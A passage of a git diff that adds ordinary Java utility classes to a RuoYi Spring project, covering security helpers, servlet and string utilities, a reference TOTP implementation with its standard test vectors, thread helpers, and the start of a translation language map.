TypeToken>(){}.getType());//把JSON字符串转为对象 + } + return receiveMap; + } + + public static String getParams(HttpServletRequest req){ + Enumeration em = req.getParameterNames(); + JSONObject retJson = new JSONObject(); + while (em.hasMoreElements()) { + String name = (String) em.nextElement(); + String value = req.getParameter(name); + retJson.put(name, value); + } + return retJson.toJSONString(); + } +} + diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java new file mode 100644 index 0000000..ca903eb --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java @@ -0,0 +1,120 @@ +package com.ruoyi.common.utils; + +import org.springframework.security.core.Authentication; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.exception.ServiceException; + +/** + * 安全服务工具类 + * + * @author ruoyi + */ +public class SecurityUtils +{ + /** + * 用户ID + **/ + public static Long getUserId() + { + try + { + return getLoginUser().getUserId(); + } + catch (Exception e) + { + throw new ServiceException("获取用户ID异常", HttpStatus.UNAUTHORIZED); + } + } + + /** + * 获取部门ID + **/ + public static Long getDeptId() + { + try + { + return getLoginUser().getDeptId(); + } + catch (Exception e) + { + throw new ServiceException("获取部门ID异常", HttpStatus.UNAUTHORIZED); + } + } + + /** + * 获取用户账户 + **/ + public static String getUsername() + { + try + { + return getLoginUser().getUsername(); + } + catch (Exception e) + { + throw new ServiceException("获取用户账户异常", HttpStatus.UNAUTHORIZED); + } + } + + /** + * 获取用户 + **/ + public static LoginUser getLoginUser() + { + try + { + return (LoginUser) getAuthentication().getPrincipal(); + } + catch (Exception e) + { + throw new ServiceException("获取用户信息异常", HttpStatus.UNAUTHORIZED); + } + } + + /** + * 获取Authentication + */ + public static Authentication getAuthentication() + { + return SecurityContextHolder.getContext().getAuthentication(); + } + + /** + * 生成BCryptPasswordEncoder密码 + * + * @param password 密码 + * @return 加密字符串 + */ + public static String encryptPassword(String password) + { + BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder(); + return passwordEncoder.encode(password); + } + + /** + * 判断密码是否相同 + * + * @param rawPassword 真实密码 + * @param encodedPassword 加密后字符 + * @return 结果 + */ + public static boolean matchesPassword(String rawPassword, String encodedPassword) + { + BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder(); + return passwordEncoder.matches(rawPassword, encodedPassword); + } + + /** + * 是否为管理员 + * + * @param userId 用户ID + * @return 结果 + */ + public static boolean isAdmin(Long userId) + { + return userId != null &&(1L == userId||userId==2L); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java new file mode 100644 index 0000000..febb603 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java @@ -0,0 +1,218 @@ +package com.ruoyi.common.utils; + +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.net.URLEncoder; +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; +import javax.servlet.ServletRequest; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import org.springframework.web.context.request.RequestAttributes; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.text.Convert; + +/** + * 客户端工具类 + * + * @author ruoyi + */ +public class ServletUtils +{ + /** + * 获取String参数 + */ + public static String getParameter(String name) + { + return getRequest().getParameter(name); + } + + /** + * 获取String参数 + */ + public static String getParameter(String name, String defaultValue) + { + return Convert.toStr(getRequest().getParameter(name), defaultValue); + } + + /** + * 获取Integer参数 + */ + public static Integer getParameterToInt(String name) + { + return Convert.toInt(getRequest().getParameter(name)); + } + + /** + * 获取Integer参数 + */ + public static Integer getParameterToInt(String name, Integer defaultValue) + { + return Convert.toInt(getRequest().getParameter(name), defaultValue); + } + + /** + * 获取Boolean参数 + */ + public static Boolean getParameterToBool(String name) + { + return Convert.toBool(getRequest().getParameter(name)); + } + + /** + * 获取Boolean参数 + */ + public static Boolean getParameterToBool(String name, Boolean defaultValue) + { + return Convert.toBool(getRequest().getParameter(name), defaultValue); + } + + /** + * 获得所有请求参数 + * + * @param request 请求对象{@link ServletRequest} + * @return Map + */ + public static Map getParams(ServletRequest request) + { + final Map map = request.getParameterMap(); + return Collections.unmodifiableMap(map); + } + + /** + * 获得所有请求参数 + * + * @param request 请求对象{@link ServletRequest} + * @return Map + */ + public static Map getParamMap(ServletRequest request) + { + Map params = new HashMap<>(); + for (Map.Entry entry : getParams(request).entrySet()) + { + params.put(entry.getKey(), StringUtils.join(entry.getValue(), ",")); + } + return params; + } + + /** + * 获取request + */ + public static HttpServletRequest getRequest() + { + return getRequestAttributes().getRequest(); + } + + /** + * 获取response + */ + public static HttpServletResponse getResponse() + { + return getRequestAttributes().getResponse(); + } + + /** + * 获取session + */ + public static HttpSession getSession() + { + return getRequest().getSession(); + } + + public static ServletRequestAttributes getRequestAttributes() + { + RequestAttributes attributes = RequestContextHolder.getRequestAttributes(); + return (ServletRequestAttributes) attributes; + } + + /** + * 将字符串渲染到客户端 + * + * @param response 渲染对象 + * @param string 待渲染的字符串 + */ + public static void renderString(HttpServletResponse response, String string) + { + try + { + response.setStatus(200); + response.setContentType("application/json"); + response.setCharacterEncoding("utf-8"); + response.getWriter().print(string); + } + catch (IOException e) + { + e.printStackTrace(); + } + } + + /** + * 是否是Ajax异步请求 + * + * @param request + */ + public static boolean isAjaxRequest(HttpServletRequest request) + { + String accept = request.getHeader("accept"); + if (accept != null && accept.contains("application/json")) + { + return true; + } + + String xRequestedWith = request.getHeader("X-Requested-With"); + if (xRequestedWith != null && xRequestedWith.contains("XMLHttpRequest")) + { + return true; + } + + String uri = request.getRequestURI(); + if (StringUtils.inStringIgnoreCase(uri, ".json", ".xml")) + { + return true; + } + + String ajax = request.getParameter("__ajax"); + return StringUtils.inStringIgnoreCase(ajax, "json", "xml"); + } + + /** + * 内容编码 + * + * @param str 内容 + * @return 编码后的内容 + */ + public static String urlEncode(String str) + { + try + { + return URLEncoder.encode(str, Constants.UTF8); + } + catch (UnsupportedEncodingException e) + { + return StringUtils.EMPTY; + } + } + + /** + * 内容解码 + * + * @param str 内容 + * @return 解码后的内容 + */ + public static String urlDecode(String str) + { + try + { + return URLDecoder.decode(str, Constants.UTF8); + } + catch (UnsupportedEncodingException e) + { + return StringUtils.EMPTY; + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/SplitListUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SplitListUtil.java new file mode 100644 index 0000000..3c6f6f4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SplitListUtil.java @@ -0,0 +1,82 @@ +package com.ruoyi.common.utils; + + +import lombok.extern.slf4j.Slf4j; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author : Tizzy
+ * @version : 1.0 + * @description : 切割list + * @date 2019/9/12 + */ + +@Slf4j +public class SplitListUtil { + + + /** + * 将一个list均分成n个list,主要通过偏移量来实现的 + * + * @param source 原集合 + * @param n 表示切割的份数 + * @return + */ + public static List> averageAssign(List source, int n) { + + log.info(" 切割的元数据 大小 {} ", source.size()); + + List> result = new ArrayList>(); + + int remaider = source.size() % n; //(先计算出余数) + int number = source.size() / n; //然后是商 + int offset = 0;//偏移量 + + for (int i = 0; i < n; i++) { + List value = null; + if (remaider > 0) { + value = source.subList(i * number + offset, (i + 1) * number + offset + 1); + remaider--; + offset++; + } else { + value = source.subList(i * number + offset, (i + 1) * number + offset); + } + result.add(value); + } + + log.info(" 切割完后的数据为 : {} ", result); + + return result; + } + + public static void main(String[] args) { + + + List lsit = new ArrayList<>(); + lsit.add(0); + lsit.add(10); + lsit.add(20); + lsit.add(30); + lsit.add(40); + lsit.add(50); + lsit.add(60); + lsit.add(70); + lsit.add(41); + lsit.add(71); + lsit.add(71); + + //分成两份 + List> lists = averageAssign(lsit, 2); + + System.out.println(lists); + + } + +} + + + + + diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/SpringContextUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SpringContextUtil.java new file mode 100644 index 0000000..0b711d5 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SpringContextUtil.java @@ -0,0 +1,58 @@ +package com.ruoyi.common.utils; + +import org.springframework.beans.BeansException; +import org.springframework.beans.factory.NoSuchBeanDefinitionException; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.stereotype.Component; + +@Component +public class SpringContextUtil implements ApplicationContextAware { + private static ApplicationContext applicationContext; + + public static ApplicationContext getApplicationContext() { + return applicationContext; + } + + // 下面的这个方法上加了@Override注解,原因是继承ApplicationContextAware接口是必须实现的方法 + @Override + public void setApplicationContext(ApplicationContext applicationContext) + throws BeansException { + SpringContextUtil.applicationContext = applicationContext; + } + + public static Object getBean(String name) + throws BeansException { + return applicationContext.getBean(name); + } + + public static Object getBean(String name, Class requiredType) + throws BeansException { + + return applicationContext.getBean(name, requiredType); + } + + public static T getBean(Class clazz) + throws BeansException { + return applicationContext.getBean(clazz); + } + + public static boolean containsBean(String name) { + return applicationContext.containsBean(name); + } + + public static boolean isSingleton(String name) + throws NoSuchBeanDefinitionException { + return applicationContext.isSingleton(name); + } + + public static Class getType(String name) + throws NoSuchBeanDefinitionException { + return applicationContext.getType(name); + } + + public static String[] getAliases(String name) + throws NoSuchBeanDefinitionException { + return applicationContext.getAliases(name); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java new file mode 100644 index 0000000..e683d54 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java @@ -0,0 +1,614 @@ +package com.ruoyi.common.utils; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import org.springframework.util.AntPathMatcher; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.text.StrFormatter; + +/** + * 字符串工具类 + * + * @author ruoyi + */ +public class StringUtils extends org.apache.commons.lang3.StringUtils +{ + /** 空字符串 */ + private static final String NULLSTR = ""; + + /** 下划线 */ + private static final char SEPARATOR = '_'; + + /** + * 获取参数不为空值 + * + * @param value defaultValue 要判断的value + * @return value 返回值 + */ + public static T nvl(T value, T defaultValue) + { + return value != null ? value : defaultValue; + } + + /** + * * 判断一个Collection是否为空, 包含List,Set,Queue + * + * @param coll 要判断的Collection + * @return true:为空 false:非空 + */ + public static boolean isEmpty(Collection coll) + { + return isNull(coll) || coll.isEmpty(); + } + + /** + * * 判断一个Collection是否非空,包含List,Set,Queue + * + * @param coll 要判断的Collection + * @return true:非空 false:空 + */ + public static boolean isNotEmpty(Collection coll) + { + return !isEmpty(coll); + } + + /** + * * 判断一个对象数组是否为空 + * + * @param objects 要判断的对象数组 + ** @return true:为空 false:非空 + */ + public static boolean isEmpty(Object[] objects) + { + return isNull(objects) || (objects.length == 0); + } + + /** + * * 判断一个对象数组是否非空 + * + * @param objects 要判断的对象数组 + * @return true:非空 false:空 + */ + public static boolean isNotEmpty(Object[] objects) + { + return !isEmpty(objects); + } + + /** + * * 判断一个Map是否为空 + * + * @param map 要判断的Map + * @return true:为空 false:非空 + */ + public static boolean isEmpty(Map map) + { + return isNull(map) || map.isEmpty(); + } + + /** + * * 判断一个Map是否为空 + * + * @param map 要判断的Map + * @return true:非空 false:空 + */ + public static boolean isNotEmpty(Map map) + { + return !isEmpty(map); + } + + /** + * * 判断一个字符串是否为空串 + * + * @param str String + * @return true:为空 false:非空 + */ + public static boolean isEmpty(String str) + { + return isNull(str) || NULLSTR.equals(str.trim()); + } + + /** + * * 判断一个字符串是否为非空串 + * + * @param str String + * @return true:非空串 false:空串 + */ + public static boolean isNotEmpty(String str) + { + return !isEmpty(str); + } + + /** + * * 判断一个对象是否为空 + * + * @param object Object + * @return true:为空 false:非空 + */ + public static boolean isNull(Object object) + { + return object == null; + } + + /** + * * 判断一个对象是否非空 + * + * @param object Object + * @return true:非空 false:空 + */ + public static boolean isNotNull(Object object) + { + return !isNull(object); + } + + /** + * * 判断一个对象是否是数组类型(Java基本型别的数组) + * + * @param object 对象 + * @return true:是数组 false:不是数组 + */ + public static boolean isArray(Object object) + { + return isNotNull(object) && object.getClass().isArray(); + } + + /** + * 去空格 + */ + public static String trim(String str) + { + return (str == null ? "" : str.trim()); + } + + /** + * 截取字符串 + * + * @param str 字符串 + * @param start 开始 + * @return 结果 + */ + public static String substring(final String str, int start) + { + if (str == null) + { + return NULLSTR; + } + + if (start < 0) + { + start = str.length() + start; + } + + if (start < 0) + { + start = 0; + } + if (start > str.length()) + { + return NULLSTR; + } + + return str.substring(start); + } + + /** + * 截取字符串 + * + * @param str 字符串 + * @param start 开始 + * @param end 结束 + * @return 结果 + */ + public static String substring(final String str, int start, int end) + { + if (str == null) + { + return NULLSTR; + } + + if (end < 0) + { + end = str.length() + end; + } + if (start < 0) + { + start = str.length() + start; + } + + if (end > str.length()) + { + end = str.length(); + } + + if (start > end) + { + return NULLSTR; + } + + if (start < 0) + { + start = 0; + } + if (end < 0) + { + end = 0; + } + + return str.substring(start, end); + } + + /** + * 格式化文本, {} 表示占位符
+ * 此方法只是简单将占位符 {} 按照顺序替换为参数
+ * 如果想输出 {} 使用 \\转义 { 即可,如果想输出 {} 之前的 \ 使用双转义符 \\\\ 即可
+ * 例:
+ * 通常使用:format("this is {} for {}", "a", "b") -> this is a for b
+ * 转义{}: format("this is \\{} for {}", "a", "b") -> this is \{} for a
+ * 转义\: format("this is \\\\{} for {}", "a", "b") -> this is \a for b
+ * + * @param template 文本模板,被替换的部分用 {} 表示 + * @param params 参数值 + * @return 格式化后的文本 + */ + public static String format(String template, Object... params) + { + if (isEmpty(params) || isEmpty(template)) + { + return template; + } + return StrFormatter.format(template, params); + } + + /** + * 是否为http(s)://开头 + * + * @param link 链接 + * @return 结果 + */ + public static boolean ishttp(String link) + { + return StringUtils.startsWithAny(link, Constants.HTTP, Constants.HTTPS); + } + + /** + * 字符串转set + * + * @param str 字符串 + * @param sep 分隔符 + * @return set集合 + */ + public static final Set str2Set(String str, String sep) + { + return new HashSet(str2List(str, sep, true, false)); + } + + /** + * 字符串转list + * + * @param str 字符串 + * @param sep 分隔符 + * @param filterBlank 过滤纯空白 + * @param trim 去掉首尾空白 + * @return list集合 + */ + public static final List str2List(String str, String sep, boolean filterBlank, boolean trim) + { + List list = new ArrayList(); + if (StringUtils.isEmpty(str)) + { + return list; + } + + // 过滤空白字符串 + if (filterBlank && StringUtils.isBlank(str)) + { + return list; + } + String[] split = str.split(sep); + for (String string : split) + { + if (filterBlank && StringUtils.isBlank(string)) + { + continue; + } + if (trim) + { + string = string.trim(); + } + list.add(string); + } + + return list; + } + + /** + * 判断给定的collection列表中是否包含数组array 判断给定的数组array中是否包含给定的元素value + * + * @param collection 给定的集合 + * @param array 给定的数组 + * @return boolean 结果 + */ + public static boolean containsAny(Collection collection, String... array) + { + if (isEmpty(collection) || isEmpty(array)) + { + return false; + } + else + { + for (String str : array) + { + if (collection.contains(str)) + { + return true; + } + } + return false; + } + } + + /** + * 查找指定字符串是否包含指定字符串列表中的任意一个字符串同时串忽略大小写 + * + * @param cs 指定字符串 + * @param searchCharSequences 需要检查的字符串数组 + * @return 是否包含任意一个字符串 + */ + public static boolean containsAnyIgnoreCase(CharSequence cs, CharSequence... searchCharSequences) + { + if (isEmpty(cs) || isEmpty(searchCharSequences)) + { + return false; + } + for (CharSequence testStr : searchCharSequences) + { + if (containsIgnoreCase(cs, testStr)) + { + return true; + } + } + return false; + } + + /** + * 驼峰转下划线命名 + */ + public static String toUnderScoreCase(String str) + { + if (str == null) + { + return null; + } + StringBuilder sb = new StringBuilder(); + // 前置字符是否大写 + boolean preCharIsUpperCase = true; + // 当前字符是否大写 + boolean curreCharIsUpperCase = true; + // 下一字符是否大写 + boolean nexteCharIsUpperCase = true; + for (int i = 0; i < str.length(); i++) + { + char c = str.charAt(i); + if (i > 0) + { + preCharIsUpperCase = Character.isUpperCase(str.charAt(i - 1)); + } + else + { + preCharIsUpperCase = false; + } + + curreCharIsUpperCase = Character.isUpperCase(c); + + if (i < (str.length() - 1)) + { + nexteCharIsUpperCase = Character.isUpperCase(str.charAt(i + 1)); + } + + if (preCharIsUpperCase && curreCharIsUpperCase && !nexteCharIsUpperCase) + { + sb.append(SEPARATOR); + } + else if ((i != 0 && !preCharIsUpperCase) && curreCharIsUpperCase) + { + sb.append(SEPARATOR); + } + sb.append(Character.toLowerCase(c)); + } + + return sb.toString(); + } + + /** + * 是否包含字符串 + * + * @param str 验证字符串 + * @param strs 字符串组 + * @return 包含返回true + */ + public static boolean inStringIgnoreCase(String str, String... strs) + { + if (str != null && strs != null) + { + for (String s : strs) + { + if (str.equalsIgnoreCase(trim(s))) + { + return true; + } + } + } + return false; + } + + /** + * 将下划线大写方式命名的字符串转换为驼峰式。如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。 例如:HELLO_WORLD->HelloWorld + * + * @param name 转换前的下划线大写方式命名的字符串 + * @return 转换后的驼峰式命名的字符串 + */ + public static String convertToCamelCase(String name) + { + StringBuilder result = new StringBuilder(); + // 快速检查 + if (name == null || name.isEmpty()) + { + // 没必要转换 + return ""; + } + else if (!name.contains("_")) + { + // 不含下划线,仅将首字母大写 + return name.substring(0, 1).toUpperCase() + name.substring(1); + } + // 用下划线将原始字符串分割 + String[] camels = name.split("_"); + for (String camel : camels) + { + // 跳过原始字符串中开头、结尾的下换线或双重下划线 + if (camel.isEmpty()) + { + continue; + } + // 首字母大写 + result.append(camel.substring(0, 1).toUpperCase()); + result.append(camel.substring(1).toLowerCase()); + } + return result.toString(); + } + + /** + * 驼峰式命名法 + * 例如:user_name->userName + */ + public static String toCamelCase(String s) + { + if (s == null) + { + return null; + } + if (s.indexOf(SEPARATOR) == -1) + { + return s; + } + s = s.toLowerCase(); + StringBuilder sb = new StringBuilder(s.length()); + boolean upperCase = false; + for (int i = 0; i < s.length(); i++) + { + char c = s.charAt(i); + + if (c == SEPARATOR) + { + upperCase = true; + } + else if (upperCase) + { + sb.append(Character.toUpperCase(c)); + upperCase = false; + } + else + { + sb.append(c); + } + } + return sb.toString(); + } + + /** + * 查找指定字符串是否匹配指定字符串列表中的任意一个字符串 + * + * @param str 指定字符串 + * @param strs 需要检查的字符串数组 + * @return 是否匹配 + */ + public static boolean matches(String str, List strs) + { + if (isEmpty(str) || isEmpty(strs)) + { + return false; + } + for (String pattern : strs) + { + if (isMatch(pattern, str)) + { + return true; + } + } + return false; + } + + /** + * 判断url是否与规则配置: + * ? 表示单个字符; + * * 表示一层路径内的任意字符串,不可跨层级; + * ** 表示任意层路径; + * + * @param pattern 匹配规则 + * @param url 需要匹配的url + * @return + */ + public static boolean isMatch(String pattern, String url) + { + AntPathMatcher matcher = new AntPathMatcher(); + return matcher.match(pattern, url); + } + + @SuppressWarnings("unchecked") + public static T cast(Object obj) + { + return (T) obj; + } + + /** + * 数字左边补齐0,使之达到指定长度。注意,如果数字转换为字符串后,长度大于size,则只保留 最后size个字符。 + * + * @param num 数字对象 + * @param size 字符串指定长度 + * @return 返回数字的字符串格式,该字符串为指定长度。 + */ + public static final String padl(final Number num, final int size) + { + return padl(num.toString(), size, '0'); + } + + /** + * 字符串左补齐。如果原始字符串s长度大于size,则只保留最后size个字符。 + * + * @param s 原始字符串 + * @param size 字符串指定长度 + * @param c 用于补齐的字符 + * @return 返回指定长度的字符串,由原字符串左补齐或截取得到。 + */ + public static final String padl(final String s, final int size, final char c) + { + final StringBuilder sb = new StringBuilder(size); + if (s != null) + { + final int len = s.length(); + if (s.length() <= size) + { + for (int i = size - len; i > 0; i--) + { + sb.append(c); + } + sb.append(s); + } + else + { + return s.substring(len - size, len); + } + } + else + { + for (int i = size; i > 0; i--) + { + sb.append(c); + } + } + return sb.toString(); + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/TOTP.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TOTP.java new file mode 100644 index 0000000..0531f2c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TOTP.java @@ -0,0 +1,231 @@ +package com.ruoyi.common.utils; +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.lang.reflect.UndeclaredThrowableException; +import java.math.BigInteger; +import java.security.GeneralSecurityException; +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.TimeZone; + +/** + * This is an example implementation of the OATH TOTP algorithm. Visit + * www.openauthentication.org for more information. + * + * @author Johan Rydell, PortWise, Inc. + */ + +public class TOTP { + + private TOTP() { + } + + /** + * This method uses the JCE to provide the crypto algorithm. HMAC computes a + * Hashed Message Authentication Code with the crypto hash algorithm as a + * parameter. + * + * @param crypto + * : the crypto algorithm (HmacSHA1, HmacSHA256, HmacSHA512) + * @param keyBytes + * : the bytes to use for the HMAC key + * @param text + * : the message or text to be authenticated + */ + private static byte[] hmac_sha(String crypto, byte[] keyBytes, byte[] text) { + try { + Mac hmac; + hmac = Mac.getInstance(crypto); + SecretKeySpec macKey = new SecretKeySpec(keyBytes, "RAW"); + hmac.init(macKey); + return hmac.doFinal(text); + } catch (GeneralSecurityException gse) { + throw new UndeclaredThrowableException(gse); + } + } + + /** + * This method converts a HEX string to Byte[] + * + * @param hex + * : the HEX string + * + * @return: a byte array + */ + + private static byte[] hexStr2Bytes(String hex) { + // Adding one byte to get the right conversion + // Values starting with "0" can be converted + byte[] bArray = new BigInteger("10" + hex, 16).toByteArray(); + + // Copy all the REAL bytes, not the "first" + byte[] ret = new byte[bArray.length - 1]; + for (int i = 0; i < ret.length; i++) + ret[i] = bArray[i + 1]; + return ret; + } + + private static final int[] DIGITS_POWER + // 0 1 2 3 4 5 6 7 8 + = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000 }; + + /** + * This method generates a TOTP value for the given set of parameters. + * + * @param key + * : the shared secret, HEX encoded + * @param time + * : a value that reflects a time + * @param returnDigits + * : number of digits to return + * + * @return: a numeric String in base 10 that includes + * {@link truncationDigits} digits + */ + + public static String generateTOTP(String key, String time, + String returnDigits) { + return generateTOTP(key, time, returnDigits, "HmacSHA1"); + } + + /** + * This method generates a TOTP value for the given set of parameters. + * + * @param key + * : the shared secret, HEX encoded + * @param time + * : a value that reflects a time + * @param returnDigits + * : number of digits to return + * + * @return: a numeric String in base 10 that includes + * {@link truncationDigits} digits + */ + + public static String generateTOTP256(String key, String time, + String returnDigits) { + return generateTOTP(key, time, returnDigits, "HmacSHA256"); + } + + /** + * This method generates a TOTP value for the given set of parameters. + * + * @param key + * : the shared secret, HEX encoded + * @param time + * : a value that reflects a time + * @param returnDigits + * : number of digits to return + * + * @return: a numeric String in base 10 that includes + * {@link truncationDigits} digits + */ + + public static String generateTOTP512(String key, String time, + String returnDigits) { + return generateTOTP(key, time, returnDigits, "HmacSHA512"); + } + + /** + * This method generates a TOTP value for the given set of parameters. + * + * @param key + * : the shared secret, HEX encoded + * @param time + * : a value that reflects a time + * @param returnDigits + * : number of digits to return + * @param crypto + * : the crypto function to use + * + * @return: a numeric String in base 10 that includes + * {@link truncationDigits} digits + */ + + public static String generateTOTP(String key, String time, + String returnDigits, String crypto) { + int codeDigits = Integer.decode(returnDigits).intValue(); + String result ; + + // Using the counter + // First 8 bytes are for the movingFactor + // Compliant with base RFC 4226 (HOTP) + while (time.length() < 16) + time = "0" + time; + + // Get the HEX in a Byte[] + byte[] msg = hexStr2Bytes(time); + byte[] k = hexStr2Bytes(key); + byte[] hash = hmac_sha(crypto, k, msg); + + // put selected bytes into result int + int offset = hash[hash.length - 1] & 0xf; + + int binary = ((hash[offset] & 0x7f) << 24) + | ((hash[offset + 1] & 0xff) << 16) + | ((hash[offset + 2] & 0xff) << 8) | (hash[offset + 3] & 0xff); + + int otp = binary % DIGITS_POWER[codeDigits]; + + result = Integer.toString(otp); + while (result.length() < codeDigits) { + result = "0" + result; + } + return result; + } + + public static void main(String[] args) { + // Seed for HMAC-SHA1 - 20 bytes + String seed = "3132333435363738393031323334353637383930"; + // Seed for HMAC-SHA256 - 32 bytes + String seed32 = "3132333435363738393031323334353637383930" + + "313233343536373839303132"; + // Seed for HMAC-SHA512 - 64 bytes + String seed64 = "3132333435363738393031323334353637383930" + + "3132333435363738393031323334353637383930" + + "3132333435363738393031323334353637383930" + "31323334"; + long T0 = 0; + long X = 30; + long testTime[] = { 59L, 1111111109L, 1111111111L, 1234567890L, + 2000000000L, 20000000000L }; + + String steps ; + DateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + df.setTimeZone(TimeZone.getTimeZone("UTC")); + try { + System.out.println("+---------------+-----------------------+" + + "------------------+--------+--------+"); + System.out.println("| Time(sec) | Time (UTC format) " + + "| Value of T(Hex) | TOTP | Mode |"); + System.out.println("+---------------+-----------------------+" + + "------------------+--------+--------+"); + + for (int i = 0; i < testTime.length; i++) { + long T = (testTime[i] - T0) / X; + steps = Long.toHexString(T).toUpperCase(); + while (steps.length() < 16) + steps = "0" + steps; + String fmtTime = String.format("%1$-11s", testTime[i]); + String utcTime = df.format(new Date(testTime[i] * 1000)); + System.out.print("| " + fmtTime + " | " + utcTime + " | " + + steps + " |"); + System.out.println(generateTOTP(seed, steps, "8", "HmacSHA1") + + "| SHA1 |"); + System.out.print("| " + fmtTime + " | " + utcTime + " | " + + steps + " |"); + System.out.println(generateTOTP(seed32, steps, "8", + "HmacSHA256") + "| SHA256 |"); + System.out.print("| " + fmtTime + " | " + utcTime + " | " + + steps + " |"); + System.out.println(generateTOTP(seed64, steps, "8", + "HmacSHA512") + "| SHA512 |"); + + System.out.println("+---------------+-----------------------+" + + "------------------+--------+--------+"); + } + } catch (final Exception e) { + System.out.println("Error : " + e); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java new file mode 100644 index 0000000..71fe6d5 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java @@ -0,0 +1,99 @@ +package com.ruoyi.common.utils; + +import java.util.concurrent.CancellationException; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 线程相关工具类. + * + * @author ruoyi + */ +public class Threads +{ + private static final Logger logger = LoggerFactory.getLogger(Threads.class); + + /** + * sleep等待,单位为毫秒 + */ + public static void sleep(long milliseconds) + { + try + { + Thread.sleep(milliseconds); + } + catch (InterruptedException e) + { + return; + } + } + + /** + * 停止线程池 + * 先使用shutdown, 停止接收新任务并尝试完成所有已存在任务. + * 如果超时, 则调用shutdownNow, 取消在workQueue中Pending的任务,并中断所有阻塞函数. + * 如果仍然超時,則強制退出. + * 另对在shutdown时线程本身被调用中断做了处理. + */ + public static void shutdownAndAwaitTermination(ExecutorService pool) + { + if (pool != null && !pool.isShutdown()) + { + pool.shutdown(); + try + { + if (!pool.awaitTermination(120, TimeUnit.SECONDS)) + { + pool.shutdownNow(); + if (!pool.awaitTermination(120, TimeUnit.SECONDS)) + { + logger.info("Pool did not terminate"); + } + } + } + catch (InterruptedException ie) + { + pool.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + } + + /** + * 打印线程异常信息 + */ + public static void printException(Runnable r, Throwable t) + { + if (t == null && r instanceof Future) + { + try + { + Future future = (Future) r; + if (future.isDone()) + { + future.get(); + } + } + catch (CancellationException ce) + { + t = ce; + } + catch (ExecutionException ee) + { + t = ee.getCause(); + } + catch (InterruptedException ie) + { + Thread.currentThread().interrupt(); + } + } + if (t != null) + { + logger.error(t.getMessage(), t); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/TranslatorUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TranslatorUtil.java new file mode 100644 index 0000000..8818f5d --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TranslatorUtil.java @@ -0,0 +1,185 @@ +package com.ruoyi.common.utils; + +import cn.hutool.json.JSONArray; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLEncoder; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + + +/** + * @author GOOGLE翻译 + * + */ +public class TranslatorUtil { + + private static final Map LANGUAGE_MAP = new HashMap(); + + static { + init(); + } + + /** + * 初始化语言类 + */ + private static void init() { + LANGUAGE_MAP.put("auto", "Automatic"); + LANGUAGE_MAP.put("af", "Afrikaans"); + LANGUAGE_MAP.put("sq", "Albanian"); + LANGUAGE_MAP.put("am", "Amharic"); + LANGUAGE_MAP.put("ar", "Arabic"); + LANGUAGE_MAP.put("hy", "Armenian"); + LANGUAGE_MAP.put("az", "Azerbaijani"); + LANGUAGE_MAP.put("eu", "Basque"); + LANGUAGE_MAP.put("be", "Belarusian"); + LANGUAGE_MAP.put("bn", "Bengali"); + LANGUAGE_MAP.put("bs", "Bosnian"); + LANGUAGE_MAP.put("bg", "Bulgarian"); + LANGUAGE_MAP.put("ca", "Catalan"); + LANGUAGE_MAP.put("ceb", 